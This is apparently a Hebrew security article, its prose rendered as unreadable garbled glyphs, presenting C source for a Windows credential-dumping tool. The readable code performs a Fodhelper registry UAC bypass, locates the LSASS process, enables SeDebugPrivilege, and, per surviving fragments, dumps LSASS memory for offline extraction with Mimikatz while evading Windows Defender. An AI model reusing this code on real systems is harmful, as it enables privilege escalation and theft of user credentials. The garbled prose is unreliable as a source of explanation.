ˢ˵ˤˣˮˢ Φˤ˞ ˫˸˞ ˥˦˟ ˫˧˪˞ˣ˷ ˸˞ ˫˩ˬ˴˰ Σ˨˧˞ ˪˩˟ ˸˞ˤ ˭˸˧ˮ ˸˷ˠ˪ ˭ˣ˶˩˧ˤ˪ ˪˷ ˸ˣ˶˧˷ˢ ˪˰˟ ˰ˡ˧ˬˢ ˷˧ˠ˶ˢ 

π˟WindowsΚ 

˭˩˟ˣ Σπ˪Windows ˢˮ˷˧ ˢ˩˧ˬ˸ ˸ˣ˧˴˲ˣ˞˟ ˪˷ ˠˣ˟˧ˡ ˫˧˩˧˪ˢ˸ Φˢˡ˧ˬ˟ ˨˧˪ˢ˸ˣ ˯˶ˣ˵ x˞ ˢˮ˷˧ ˢ˪˵˸ ˧ˢ˷˪˩ 

˧˞ˮ˩˦ ˪ˣ˩˧ ˷ˬ˸˷ˢ˪ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲˟ ˣˤˢ ˸ˣ˞˶˪ˣ ˵ˣ˧ˡ˟ ˢˬ ˢ˶˵ ˭ˣ˶˩˧ˤ˟ ˨˧˪ˢ˸ˢ˷˩ ˯˶˵ Φˢ˷˰ˬ˪ ˣˮ˞ ˪˰˲ˮ 

ˢ˸ˣ˞˟ ˢ˦˧˷ˢ ˢ˟ ˪˰˲Danny Ocean  ˣ˸˶ˣ˟˥ˣ ˣ˴˶˲˷˩ ˣˮ˧ˤ˵˪ ˟-hŎŜŀƴΩǎ мм ˸ˣ˰˴ˬ˞˟ ˸ˣˤ˥˸ˢ ˧˶˵ˣ˥˪ 

FBI Φ˵˶ ˫˰˲ˢ˷ ˣˮ˞ ˢˤ˥˸ˮ ˫˧˞ˮ˩˦˪ ˫˧˞˟˷ ˠ˟ˡ˪ ˸˞ LSASS ˨˩ˣ ˞˧˴ˣˮ ˸˞ ˪˩ ˣˮˣ˶˩ˤΗ 

˧ˡ˩˟ ˰˧ˠˢ˪ ˸ˬ˶˪ ˸ˣ˞˷˶ˢˢ ˢˬ˧˞˸ˬˢ ˧ˡ˩˟ ˠ˟ˡ˪ ˸˞ ˨˧˪ˢ˸ˢ ˣˮ˞ ˫˧˩˧˶˴ ˢ˞˷˶ˢ ˫˷˟ 

SeDebugPrivilege Φˢ˧˰˟ˢ ˞˧ˢ˷ ˸ˬ˧˧˵ ˵˶ ˫˧˪ˢˮˬ˪ ˫˧˧ˬˣ˵ˬ ˫˞ˣ ˢ˴˶ˮ ˪˟˵˪ ˢ˸ˣ˞ ˨˶˦˴ˮ ˪˧˴˞ˢ˪ ˸˞ 

ˣˮ˸ˣ˩ˬ˯ Φ˭˩˟ˣ Σ˸˞ ˧˪˩ˢ ˧˸˟˸˩ ˭ˬˤˬˬ ˧˸˵˲˯ˢˣ ˶ˣ˵˥˪ ˪˰ ˢ˷˪ˣ˥ ˸ˬ˧ˣ˯ˬ ˟πWindows10 ˢ˸ˣ˰˴ˬ˞˟˷ 

˭˸˧ˮ ˪˧˴˞ˢ˪ ˸ˣ˩ˬ˯˪ ˪ˢˮˬ Φ˶˥˞˪ ˢ˪˴˞ˢˢ ˨ˣ˶˰ˮ ˸˞ ˭ˣˬ˧˯˞ ˢ˷˧ˠˢ ˪˷ ˨˧˪ˢ˸ˢ ˱˧˯ˣˮˣ ˣ˧˪˞ 

˸˞SeDebugPrivilege  ˢ˸ˣ˰˴ˬ˞˟ ˪˩ˣˮ ˠ˟ˡ˪ ˸˞ LSASSΦ ˠ˧˴˞ ˸˞ ˸ˣ˧˴˵ˮˣ˲ˢ ˪˷ ˧˪˩ˢ ˶˥˞˪ˣ ˪˩ ˢ˧˴˵ˮˣ˲ 

˟ˣ˸˩˞ ˶˧˟˯ˢ ˱˧˵ˬ ˪˰ ˢˬ ˞˧ˢ ˸˰˴˟ˬ ˡ˴˧˩ˣ Φ 

https://www.digitalwhisper.co.il/files/Zines/0x0A/DW10-4-ULHooking.pdf
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UACBypass() 

ˢ˧˴˵ˮˣ˲ˢ ˸˷ˬ˸˷ˬ ˢ˷˪ˣ˥˟ ˣ˷˰˷ ˢ˪ Patch ˶˟˰˟ ˨˞ ˶˥˞˪ ˶˵˥ˬ ˨ˣ˶˞ ˧˸˧˷˰˷ ˧˸˥˪˴ˢ ˸ˣ˧˥ˢ˪ 

ˢ˸ˣ˞ Η˞˪ ˦˶˲˞ ˡ˴˧˩ ˧˸˧˷˰ ˸˞ˤ ˫ˣ˷ˬ ˣˢˤ˷ ˣˮˮ˧˞ ˞˷ˣˮ ˶ˬ˞ˬˢ Σ˨˞ ˶˧˟˯˞ ˢ˶˴˵˟ ˸˞ ˭ˣ˧˰˶ˢ ˡ˴˧˩ˣ 

˧˸˷ˬ˧ˬ ˣ˸ˣ˞ Φˢ˷˰ˬ˪ ˣˮ˷˧ ˸ˣ˶˧˷ ˳˶˷ ˸ˣ˞˷˶ˢ˟ ˸ˣˢˣ˟ˠ ˫˷˟ Fodhelper ˞ˣˢˣ ˞˶ˣ˵ ˥˸˲ˬ ˟-Registry 

˸˥˸ HKCU Φ 

ˣˢˤ HiveKey ˶ˣ˸˟˷ ˫˧˷ˬ˸˷ˬ ˞˪˪ ˸ˣ˞˷˶ˢ ˷˧ ˣˮ˪ ˢ˷˧ˠ ˣ˧˪˞ Φ˭ˣ˧˰˶ˢ ˢ˧ˢ ˟ˣ˸˩˪ ˣ˧˪˞ ˸˞ ˟˧˸ˮˢ ˢ˵ˤˣˮ˪ 

˶˥˞˪ˣ ˭˩ˬ ˪˧˰˲ˢ˪ ˸˞ Fodhelper ˨˩ ˞˶˵˧˧˷ ˸˞ ˟˧˸ˮˢ ˪˧˰˲˧ˣ ˸˞ ˢ˵ˤˣˮˢ ˸˥˸ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ Φ

˶˵˥ˬ˟ ˧˸˧˷˰˷ ˧˸˧˪˧ˠ ˧˩ ˭˸˧ˮ ˪˧˰˲ˢ˪ ˸˞ ˢ˵ˤˣˮˢ ˸ˣ˰˴ˬ˞˟ ˯˧˯˩˸ˢ ˧˸ˠ˴ˢ˷ ˵˶ ˫˞ ˣˮ˷˧ ˰˲ˣˬ ˧˥˩ˣˮ ˪˷ 

ˢ˵ˤˣˮˢ ˳˶˷ ˶˟˩ ˸ˣ˞˷˶ˢ˟  ˪˷ǳǎŜǊΦ 

˭˩˪ ˭ˣ˧˰˶ˢ ˢ˧ˢ ˰ˠ˶˟˷ ˢ˵ˤˣˮˢ˷ ˸˴˶ˣˬ ˞˧ˢ ˸˵ˡˣ˟ ˸˞ ˸ˬ˶ ˸ˣ˞˷˶ˢ sˮ˸˧˥˩ˣ ˢ˪˷ ˢˡ˧ˬ˟ˣ ˞˧ˢˣ ˞˪ 

˸˥˸ ˸ˣ˞˷˶ˢ ˪ˢˮˬ ˞˧ˢ ˸˟˸ˣ˩ ˸˞ ˟˧˸ˮˢ ˪˷ ˢˬ˴˰ ˨ˣ˸˪ ˥˸˲ˬˢ ˶˟ˣˡˬˢ ˟-Registry ˸˞˶ˣ˵ˣ ˢˬ˴˰˪ 

˟ˣ˷ ˫˰˲ˢ ˨˩ ˶˴ˣˮ˷ ˰˲ˣˬ ˷ˡ˥ ˪˰˟ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ ˶˸ˣ˧ ˵ˡˣ˟˷ ˸˞ ˸ˬ˶ ˣ˧˸ˣ˞˷˶ˢ ˟ˣ˷ ˫˰˲ˢ Σ˵˶ 

˫˰˲ˢ˷ ˭s ˣ˧ˢ˧ ˸ˣ˞˷˶ˢ ˪ˢˮˬ ˪˰ˣ ˭˩ ˢ˵ˤˣˮˢ ˨˧˷ˬ˸ ˳ˣ˶˪ ˞˪ˣ ˰˴˟˪ ˸˞ ˨˧˪ˢ˸ˢ ˟ˣ˷ ˫˰˲ˢ Φ˫˰˲˟ 

ˢ˧˧ˮ˷ˢ ˢ˧ˢ˧ ˣˮ˪ ˰˲ˣˬ ˸ˣ˞˷˶ˢ˟ ˪ˢˮˬΗ 

˞˪ ˟˩˰˸˞ ˭ˣˬˢ ˪˰ ˷ˣˬ˧ˬˢ ˶˥˞ˬ ˞ˣˢˣ ˡˣ˞ˬ Straight Forward ˨˞ ˧˸˷ˬ˸˷ˢ ˸˞˧˶˵˟ sπAPI 

GetModuleFileNameW() ˪˰ ˸ˮˬ ˪˟˵˪ ˸˞ ˟˧˸ˮˢ ˪˷ ˢ˵ˤˣˮˢ ˭ˬˤ˟ ˢ˴˧˶ ˪˞ ˨ˣ˸ ˶˲˞˟ Φ˶˥˞˪ ˭˩ˬ 

˧˸˷ˬ˸˷ˢ ˟πRegCreateKey() ˪˰ ˸ˮˬ ˶ˣ˴˧˪ ˸˞ ˥˸˲ˬˢ ˷˵ˣ˟ˬˢ ˫ˣ˷˧˶˟ ˟xπRegSetValueEx() ˪˰ ˸ˮˬ 

˟ˣ˸˩˪ ˫˷˪ ˸˞ ˟˧˸ˮˢ Φ˶˥˞˪ ˭˩ˬ ˧˸˶ˠ˯ ˸˞ ˸ˣ˧ˡ˧ˢ ˧˸˷ˬ˸˷ˢˣ ˟πSystem() ˪˰ ˸ˮˬ ˪˧˰˲ˢ˪ ˸˞ 

Fodhelper ˨˶ˡ ˵˷ˬˬ ˢˡˣ˵˲ˢΦ  

˶˥˞˪ ˭˩ˬ ˠ˧˴˞˷ ˸˞ ˸˧˧˴˵ˮˣ˲ sπmain ˢ˞˶˞ ˸˞ ˢ˵˧ˡ˟ˢ ˸˰˴˟ˬ˷ ˫˞ˢ ˣˮ˞ ˸ˣ˞˷˶ˢ˟ ˪ˢˮˬ ˫˞ˢˣ 

˞ˣ˶˵˪ ˢ˪ˣ˰˲˪ ˣˮ˶˴˧˷ ˢˡ˧ˬ˟ ˞˪ˣ Φˢ˵ˤˣˮˢ ˰ˡ˸ ˵ˣˡ˟˪ ˸˞ ˸ˣ˞˷˶ˢˢ ˪˷ ˢˬ˴˰ ˶ˣ˴˧˪ˣ ˫˧˰˲ˣˬ ˫˧˲˯ˣˮ 

ˢ˪˷ ˢ˷˧ˬ˟ ˭˧˞ˣ ˢ˪ ˸ˣ˞˷˶ˢ ˪ˢˮˬ Ηˢ˧˴˵ˮˣ˲ˢ ˸˲˶ˣ˴ˬ ˡˣˬ˰˟ ˞˟ˢ: 

void UACBypass()  
{  
    //Getting the current working directory  

    wchar_t DirName[ 1000];  
    GetModuleFileNameW( NULL, DirName, 1000);  
 
    //Craeteing a new subkey  

    HKEY RegisteryKey;  
    LONG RegKey = RegCreateKeyEx(HKEY_CURRENT_USER, 
        HKCU_UAC_BYPASS_PATH, 
        0,  
        NULL,  
        REG_OPTION_NON_VOLATILE, 
        MAXIMUM_ALLOWED, 
        NULL,  
        &RegisteryKey,  
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        NULL);  
    if (RegKey != ERROR_SUCCESS) 
    {  
        printf ( " %s" , "Error while creating registry subkey \ n" );  
        exit ( 1);  
    }  
 
    //Setting malicious registry values at the subkey wev'e created  

    LONG Code = RegKey = RegSetValueEx(  
        RegisteryKey,  
        TEXT( "DelegateExecute" ),  
        0,  
        REG_SZ, 
        TEXT( "" ),  
        sizeof ( TEXT( "" ) + 1));  
 
    if (Code != ERROR_SUCCESS) 
    {  
        printf ( " %s\ n" , "An error while setting registry value" );  
        exit ( 1);  
    }  
 
    Code = RegSetValueEx(  
        RegisteryKey,  
        TEXT( "" ),  
        0,  
        REG_SZ, 
        DirName,  
        sizeof (DirName) + 1);  
    if (Code != ERROR_SUCCESS) 
    {  
        printf ( " %s\ n" , "An error while setting registry value" );  
        exit ( 1);  
    }  
 
    //Closing handles  

    RegCloseKey(RegisteryKey);  
    //Calling Fodhelper.exe to execute the malware again and create an admin instance of it  
    system ( "start Fodhelper.exe" );  
}  
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GetlsassProceesIdentifier() 

˧˲˩ ˫˸˞˷ ˧˞ˡˣˣ ˫˧˷˥ˮˬ ˬ˫˷ˢ Σˢ˧˴˵ˮˣ˲ˢ ˢ˶ˣˬ˞ ˸˸˪ ˣˮ˪ ˸˞ sπPID  ˪˷LSASS Φˣˮ˞ ˨˶˦˴ˮ ˪˟˵˪ ˶˲˯ˬ 

˨˧˪ˢ˸ ˧˲˪ ˣˬ˷ Φˣˮ˶˰˴˪ Σ˭˧˞ ˸˧˧˴˵ˮˣ˲ API ˸˰ˡˣ˧˷ ˸ˣ˷˰˪ ˸˞ˤ ˣˮ˶ˣ˟˰ ˭˩˪ˣ ˨˶˦˴ˮ ˷ˬˬ˪ ˣˢ˷ˬ ˣˮ˪˷ˬ Φ

˭˩˟ˣ Σˢ˧˰˟˪ ˣˤˢ ˷˧ ˶˲˯ˬ ˸ˣ˷˧ˠ ˶˷˞˩ ˢ˴ˣ˲ˮˢ ˫ˢ˧ˮ˟ˬ ˞˧ˢ ˷ˬ˸˷ˢ˪ ˸ˣ˧˴˵ˮˣ˲˟ ˸ˣˮ˸ˣˮ˷ ˣˮ˪ ˰˴˟˪ 

ˢ˧˴˶˦˧˞ ˪˰ ˫˧˩˧˪ˢ˸ˢ ˞ˣ˴ˬ˪ˣ ˸˞ ˨˧˪ˢ˸ˢ ˫˧˞˸ˬˢ ˧˲˪ ˣˬ˷ Φ 

˧˪ ˷˧ ˢ˷˧ˠ ˦˰ˬ ˢˮˣ˷ ˢ˪˧˰˧ˣ ˶˸ˣ˧ Φˣˮ˞ ˷ˬ˸˷ˮ ˦˪˲˟ ˪˷ ˵˷ˬˬ ˢˡˣ˵˲ˢ ˶˯˶˲ˮˣ ˣ˸ˣ˞ Φˢˡˣ˵˲ˢ ˢ˸ˣ˞ 

˰˴˟ˮ ˢ˧ˢ˸: TaskList | findstr lsass.exeΦ ˢˡˣ˵˲ˢ ˧˴ˬˠs ˣˮ˪ ˸˞ ˪˩ ˫˧˩˧˪ˢ˸ˢ ˨˞ ˸ˣ˟˵˰˟ sπPipe ˞˧ˢ 

˷˲˥˸ ˸˞LSASS  ˶˧ˤ˥˸ˣ ˣˮ˪ ˸˞ ˢ˶ˣ˷ˢ ˢ˞˟ˢΥ 

 

˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ sπPID ˞˴ˬˮ ˢ˪˧ˬ˟ ˢ˧˧ˮ˷ˢ Φ˭˩˪ ˥˵˧ˮ ˸˞ ˦˪˲ˢ ˢˤˢ ˪˴˲ˮˣ ˣ˸ˣ˞ ˧˲˪ ˧ˣˣ˸ ˥ˣˣ˶ Σ˶˥˞˪ ˭˩ˬ 

˷ˠ˧ˮ ˢ˪˧ˬ˪ ˢ˧˧ˮ˷ˢ Φ˸˞ ˢ˧˴˵ˮˣ˲ˢ ˧˸˷ˬ˧ˬ ˸ˣ˰˴ˬ˞ ˢ˞˧˶˵ˢ _popen ˸˶˷˲˞ˬ˷ ˳˧˶ˢ˪ ˢˡˣ˵˲ ˟ˣ˸˩˪ˣ 

˸˞ ˢ˦˪˲ ˪πFileStreamΦ  

˸˞ ˣ˸ˣ˞ ˫˶ˤˢ ˧˸˵˸˰ˢ ˢˮ˸˷ˬ˪ ˸ˤˣ˶˥ˬ ˢ˶ˣ˷ ˶˥˞ ˢ˶ˣ˷ ˸ˣ˰˴ˬ˞˟ ˢ˞˪ˣ˪  ˪˷fgets ˧˸˶˯˶˧˲ˣ ˣ˸ˣ˞ 

˸ˣ˰˴ˬ˞˟ ˢ˧˴˵ˮˣ˲ˢ strtok ˸˰ˡˣ˧˷ ˫˧˷˪ null terminators ˸ˤˣ˶˥ˬ˟ ˢ˲˧˞ ˣˮ˷˧˷ ˣ˸ˢ ˣ˧˲˪˷ ˣˮ˞ ˢ˴˶ˮ 

˪˴˲˪ Φ˧ˢˣˤ ˢ˪˧˟˵ˬˢ  ˪˷split ˟-cΦ  

˶˥˞ˬ sxπPID ˢ˪˧ˬ˟ ˢ˧˧ˮ˷ˢ Σ˶˥˞˪ ˢ˞˧˶˵ ˸˥˞ ˪πstrtok ˣˮ˞ ˪˟˵ˮ ˸ˤˣ˶˥ˬ ˢ˪˧˩ˬˢ ˸˞ sπPID Φˢ˴˶ˮ 

˶˧ˬˢ˪ ˢ˸ˣ˞ ˪πint Φ˪˧˟˷˟ ˢ˶ˬˢˢ ˧ˮ˞ ˧˸˷ˬ˸˷ˢ ˟πsscanf ˧ˡ˩˟ ˯˧ˮ˩ˢ˪ ˸˞ ˭˩ˣ˸ ˸ˤˣ˶˥ˬˢ ˢˮ˸˷ˬ˪ 

ˠˣ˯ˬ intΦ ˶˥˞˪ ˭˩ˬ ˧˸˶ˤ˥ˢ ˸˞ sπPID ˩πinteger Φˢ˞˶ˮ ˢˤ ˨˩: 

int GetlsassProcessIdentifier ()  
{  
    //Starting empty buffers with NULLS  
    char * Buffer = ( char *) calloc ( 2048, sizeof ( char ));  
    char * FinalOutput = ( char *) calloc ( 100000, sizeof ( char ));  
    //Checking if the memory is allocated  
    if (Buffer && FinalOutput == NULL)  
    {  
        printf ( "Error allocating memory( %d)" , GetLastError ());  
    }  
    FILE* FileHandler;  
    FileHandler = _popen( "tasklist | findstr lsass.exe" , "r" );  
    while ( fgets (Buffer, 2048, FileHandler) != NULL)  
    {  
        strcat (FinalOutput, Buffer);  
    }  
 
    fclose (FileHandler);  
    //getting the output of cmd command "tasklist | findstr lsass.exe"  
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    //the output is some data of the lsass process  
    //Parsing the data  
    char * ProcessId = strtok (FinalOutput, " " );  
    //taking the first token which is the pid  
    ProcessId = strtok ( NULL, " " );  
 
    //converting it to int  
    int IntProcessId;  
    sscanf (ProcessId, " %d" , &IntProcessId);  
    free (Buffer);  
    free (FinalOutput);  
    //returning lsass's pid  
    return IntProcessId;  
}  

 

 

GainDebuggingPrivilege() 

˫˧˶˩ˣˤ ˣˢ˷˲˧˞˷ ˫˷ ˸˪˧˥˸˟ ˶ˬ˞ˬˢ ˣˮ˶˟˧ˡ ˪˰ ˭ˣˬ˧˯˞ ˢ˷˧ˠˢ Κ˳˧˪ˬ˞ ˧ˬ˪ ˥˩˷˷ ˶ˣˤ˥˪ ˪˰ ˨˩, ˫ˣ˷ˬ 

ˢˤ˷ ˡˣ˞ˬ ˧˦ˮˣˣ˪˶ ˢ˧˴˵ˮˣ˲˪ ˠ˧˴˞˷ Φˢ˷˰ˬ˪ ˢˮ˷˧ ˢ˞˷˶ˢ ˫˷˟ SeDebugPrivilege ˵˶˷ ˢ˸ˣ˰˴ˬ˞˟ ˭˸˧ˮ 

ˠ˟ˡ˪ ˫˧˩˧˪ˢ˸ ˧˪˰˟ ˸ˣ˞˷˶ˢ ˸ˣˢˣ˟ˠ ˦˦˥˪ˣ ˟˥˶ˬ˟ ˭ˣ˶˩˧ˤˢ ˫ˢ˪˷ Φ˶˥˞ˬ ˶˟˩ˣ ˣˮ˟˸˩ ˸˧˧˴˵ˮˣ˲ 

Privilege Escalation ˣˮ˥ˮ˞ˣ ˸˥˸ ˸ˣ˞˷˶ˢ Admin ˣˮ˞ ˫˧˪ˣ˩˧ ˱˶˴˪ ˢ˞˷˶ˢ xʕ ˪˞ ˭ˣˬ˧˯ ˢ˷˧ˠˢ ˪˷ 

˨˧˪ˢ˸ˢ ˪˷ ˢ˵ˤˣˮˢ, ˫ˣ˷ˬ ˧˲˩˷ ˧˸˶˟˯ˢ˷ ˵˪˥˟ ˧˦˶ˣ˞˧˸ˢ Σ˧ˮˣˬ˧˯˞ ˢ˷˧ˠˢ ˫˧ˮ˧ˬˤ ˢ˩˧˶˰˪ ˭ˬˤ˟ ˢ˴˧˶Η 

ˢ˷˰ˮ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ ˸˧˧˴˵ˮˣ˲ OpenProcessToken ˭˸˸˷ ˣˮ˪ Handle ˭ˣˬ˧˯˞˪ ˢ˷˧ˠˢ ˧˥˩ˣˮˢ ˪˷ ˨˧˪ˢ˸ˢ 

˶˥˞˪ˣ ˭˩ˬ ˷ˬ˸˷ˮ ˟πLookupPrivilegeValue ˪˰ ˸ˮˬ ˪˟˵˪ ˸˞ sπLuid ˪˷ ˨˧˪ˢ˸ˢ ˣ˧˪˰ ˣˮ˶˟˧ˡ ˧˸˶˟ˢ˷˩ 

˪˰ ˧ˮˣˬ˧˯˞ ˢ˷˧ˠ Φ 

˷ˬ˸˷ˮ ˢˮ˟ˬ˟ ˫˷˟Υ TOKEN_PRIVILEGE ˣ˧˪˞ ˱˧˯ˣˮ ˸˞ ˢ˞˷˶ˢˢ SeDebugPrivilege Σ˸˞ sπLuid 

ˣˮ˞˴ˣˢ˷ ˸˞ˣ ˶˲˯ˬ ˸ˣ˞˷˶ˢˢ Φ˶˥˞˪ ˭˩ˬ ˭˩ˡ˰ˮ ˸˞ ˭ˣˬ˧˯˞ˢ ˰ˡ˧ˬ˪ ˷ˡ˥ˢ ˣˮ˶˴˧˷ ˸ˣ˰˴ˬ˞˟ ˢ˧˴˵ˮˣ˲ 

ˢ˟ˣ˷˥ ˡˣ˞ˬ ˫˷˟ AdjustTokenPrivilege ˥˵˧˸˷ ˸˞ ˢˮ˟ˬˢ ˣˮ˶˴˧˷ ˭˩ˡ˰˸ˣ ˸˞ ˭ˣˬ˧˯˞ ˢ˷˧ˠˢ ˪˷ 

˨˧˪ˢ˸ˢ ˫˞˸ˢ˟ ˣ˧˪˞ Φ˨˩ ˸˧˞˶ˮ ˢ˧˴˵ˮˣ˲ˢΥ 

BOOL GainDebuggingPrivilege ()  
{  
    HANDLE PrivilegeToken;  
    TOKEN_PRIVILEGES PrivilegeData;  
    // locally uniqe identifier  
    LUID Luid;  
 
    if (! OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &PrivilegeToken))  
    {  
        printf ( "OpenProcessToken Error( %d) \ n" , GetLastError ());  
        return FALSE;  
    }  
     
    if (! LookupPrivilegeValue ( 0, L"SeDebugPrivilege" , &Luid))  
    {  
        printf ( "LookupPrivilege Error( %d) \ n" , GetLastError ());  
        return FALSE;  
    }  
 
    PrivilegeData.Privileges[ 0].Luid = Luid;  
    PrivilegeData.PrivilegeCount = 1;  
    PrivilegeData.Privileges[ 0].Attributes = SE_PRIVILEGE_ENABLED;  
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    if (! AdjustTokenPrivileges (PrivilegeToken, FALSE, &PrivilegeData, 0, 0, 0))  
    {  
        printf ( "AdjustPrivilegeError( %d) \ n" , GetLastError ());  
        return FALSE;  
    }  
    CloseHandle (PrivilegeToken);  
    return TRUE;  
}  

 

main() 

ˤ˞ ˶˥˞˪ ˣˮ˟˸˩˷ ˸˞ ˪˩ ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣ˶ˤˣ˰˷ ˣˮ˪ ˰˴˟˪ ˠˣ˟˧ˡ Φ˞˶˵ˮ ˭ˢ˪ ˢ˧˴˵ˮˣ˲˟ ˸˧˞˷˶ˢ ˶˥˞˪ˣ ˭˩ˬ 

ˠ˟ˡˮ ˸˞ ˳˟ˣ˵ˢ ˸ˣ˰˴ˬ˞˟ ˢ˞˧˶˵ ˸˥˞ Φ˨˞ ˧ˮ˲˪ ˭˩ Σ˷ˠ˧ˮ ˢ˧˴˵ˮˣ˲˪ ˢˮˣ˷˞˶ˢ ˧˸ˠ˴ˢ˷ Φˢ˸ˣ˞ ˢ˧˴˵ˮˣ˲ˢ 

ˢ˷˰ˬ˪ ˸˞˶ˣ˵ ˰˲ˣˬ˪ ˷ˡ˥ ˪˷ ˢ˵ˤˣˮˢ ˶ˣ˸˟ admin Σ˶˥˞ˬˣ ˧ˮ˞ˣ ˫˧˩˧˶˴ ˰˲ˣˬ ˧ˮ˧ˬˡ˞ ˡ˥˞ ˡˡˣ˟ ˞˪ˣ 

˱ˣ˯ˮ˧˞ ˨˶˦˴ˮ ˟ˣ˸˩˪ ˭ˣˮˠˮˬ ˢ˧˴˵ˮˣ˲˟ ˸˧˷˞˶ˢ ˰ˡ˧˷ ˶ˣ˴˧˪ ˰˲ˣˬ ˧ˮ˧ˬˡ˞ ˵˶ ˢˡ˧ˬ˟ ˬˢˣˣ˰˲ ˧˥˩ˣˮˢ ˳˶˷ 

ˣˮˮ˧˞ ˧ˮ˧ˬˡ˞ Φˢ˷˰ˮ ˸˞ˤ ˸ˣ˰˴ˬ˞˟ API ˫˷˟ IsUserAnAdmin Φ 

ˢˡ˧ˬ˟ ˣˮ˞ˣ ˞˪ ˫˧˪ˢˮˬ ˞˶˵ˮ ˢ˧˴˵ˮˣ˲˪ UACBypass ˪˧˰˲˸˷ ˰˲ˣˬ ˷ˡ˥ ˪˷ ˢ˵ˤˣˮˢ Φˢˡ˧ˬ˟ ˣˮ˞ˣ ˭˩˞ 

˫˧˪ˢˮˬ Σ˨˧˷ˬˮ ˢˬ˧ˡ˵ ˞˶˵ˮˣ ˢ˧˴˵ˮˣ˲˪ ˸˧˷˧˪˷ˢ ˧˸ˠ˴ˢ˷ ˱˧˯ˣ˸˷ ˣˮ˪ ˸ˣ˞˷˶ˢ ˠˣ˟˧ˡ ˨˧˪ˢ˸˪ ˢ˵ˤˣˮˢ Φ

˶˥˞˪ ˭˩ˬ ˷ˬ˸˷ˮ ˢ˧˴˵ˮˣ˲˟ ˢ˧˧ˮ˷ˢ ˧˸ˠ˴ˢ˷ ˭˸˸˷ ˣˮ˪ ˸˞ sπPID ˪˷ LSASS Φ 

˥˸˲ˮ ˳˟ˣ˵ ˷ˡ˥ ˸ˣ˰˴ˬ˞˟ CreateFile ˭˸˧ˮˣ ˸˞ sπHandle ˳˟ˣ˵˪ ˡ˥˧ ˫˰ sπPID ˪˞ ˢ˧˴˵ˮˣ˲ˢ ˢˮˣ˶˥˞ˢ 

ˣˮ˧˩˧˥˷ ˢ˪ ˪˩ ˶ˬ˞ˬˢ Σ˸˧˧˴˵ˮˣ˲ ˠˣ˟˧ˡˢ Ηˢˬ˷ ˞ˣˢ MinidumpWriteDump ˢˬˣ ˞˧ˢ˷ ˢ˷ˣ˰ ˞ˣˢ ˪˟˵˪ 

PID  ˪˷˨˧˪ˢ˸ ΣHandle ˨˧˪ˢ˸˪ ΣHandle ˳˟ˣ˵˪ ˶˲˯ˬˣ ˶ˬˣ˞˷ ˬ ˢ˞ˣˢ ˠˣ˯ ˠˣ˟˧ˡˢ ύ˞˪ ˶˸ˣ˧ ˧ˡˬ ˧˦ˮˣˣ˪˶ 

˧ˮ˞ ˧˸˶˥˟ ˟-н ό˞˧ˢˣ ˸˟˸ˣ˩ ˸˞ ˪˩ ˣˮˣ˶˩˧ˤ ˪˷ ˨˧˪ˢ˸ˢ ˪˞ ˨ˣ˸ ˳˟ˣ˵ ˵˦ˢ˯˦ ˣˮ˸ˮ˷ ˢ˪ ˠ˯ˬ˟˶˸ ˸˧ˮ˟˸ 

˪˷ ˳˟ˣ˵ ˠˣ˟˧ˡ Φ˳˧˪ˬˬ ˡˣ˞ˬ ˞ˣ˶˵˪ ˪˰ ˢ˧˴˵ˮˣ˲ˢ ˢ˵ˤ˥ˢ ˸˞ˤˢ ˪˰ˣ ˸ˣ˪ˣ˩˧ˢ ˢ˪˷ ˨ˣ˸ˬ MSDNΦ  

˶˥˞ˬ ˧ˢˣˤˣ ˢ˧˴˵ˮˣ˲ˢ ˢˮˣ˶˥˞ˢ ˶˧˟˯˞ ˦˰ˬ ˪˰ ˧˪˩ˢ ˣ˷ˣˬ˧˷ˣ Φ˸˞ ˧˪˩ˢ ˧˸˶˴˧ ˧˶˥˞ ˶˵˥ˬ ˨ˣ˶˞ x˟ ˧ˮ˧˸˧˯ 

˟ˣ˸˩˪ ˢ˟˧˦ˮ˶˦˪˞ ˪πMimikatz ˢ˧ˢ˸˷ ˢˬ˩ ˶˸ˣ˧˷ ˢ˧ˣ˟˥ ˥˧˪˴˸ˣ ˰˴˟˪ ˸˞ ˢ˸ˡˣ˟˰ ˧˪˟ˬ ˯˲˸˧ˢ˪ Φ 

˧˸ˮ˟ˢ ˧ˡ˩˟˷ ˸ˣ˷˰˪ ˸˞ˤ ˶˷˲˞ ˞˵ˣˣˡ ˵˸˪ˣ˱ ˸˞ ˧ˮˣˮˠˮˬ ˸ˣ˞˷˶ˢˢ. ˶ˬˣ˪˩ Σ˸˶ˣ˴ ˢ˟˧˷˥ˢ ˢ˸˧˧ˢ 

˶˥˞ˬ˷ ˢˮ˷˧ˣ ˸ˬ˶ ˢ˞˷˶ˢ ˸ˬ˧ˣ˯ˬ ˞˟ ˳˧˴ˢ˪ ˭ˣ˶˩˧ˤ˟  ˪˷LSASS ˟˷˥ˮ Ϧ˧˵ˣ˥ Ϧ˧˧ˮ˧˰˟ sπWindows 

Defender Σ˫˞ ˥˧˪˴ˮ ˰˧ˠˢ˪ ˢ˸ˣ˞˪ ˸ˬ˶ ˢ˞˷˶ˢ ˧˪˟ˬ ˸ˣ˷˰˪ ˶˸ˣ˧ ˧ˡˬ ˷˰˶ π ˣˮ˥˴˧ˮ Φ˪˰ ˭˩ ˧˸˰˴˧˟ ˶˵˥ˬ 

˨ˣ˶˞ ˪˰ ˸ˮˬ ˥˧˪˴ˢ˪ ˪˧˴˞˪ ˸ˣ˧ˣ˩ˬ˯ ˬ-л ˡ˰ ˢˬ˶˪ ˸˷˵ˣ˟ˬˢ ˧˪˟ˬ ˷πWindows Defender ˧˟˧˦˪ˣ˲˧ˡ 

ˢ˪˰˧ ˣˮ˧˪˰Φ 

 ˢ˞˴ˣ˸ˢ ˞˧ˢ ˧˪˩ˢ ˮˢ"˪ Σ˰ˡˣ˧˷ ˳ˣ˶˪ ˪˰ ˸˩˶˰ˬ Windows10 ˸˧˟˧˦˪ˣ˲˧ˡ Σ˞˪˪ ˪˩ ˸ˣ˞˷˶ˢ ˸ˣˬˡˣ˵ 

˱ˣ˪˷˪ˣ ˸˞ ˣˮˣ˶˩ˤ  ˪˷LSASSΦ 

  

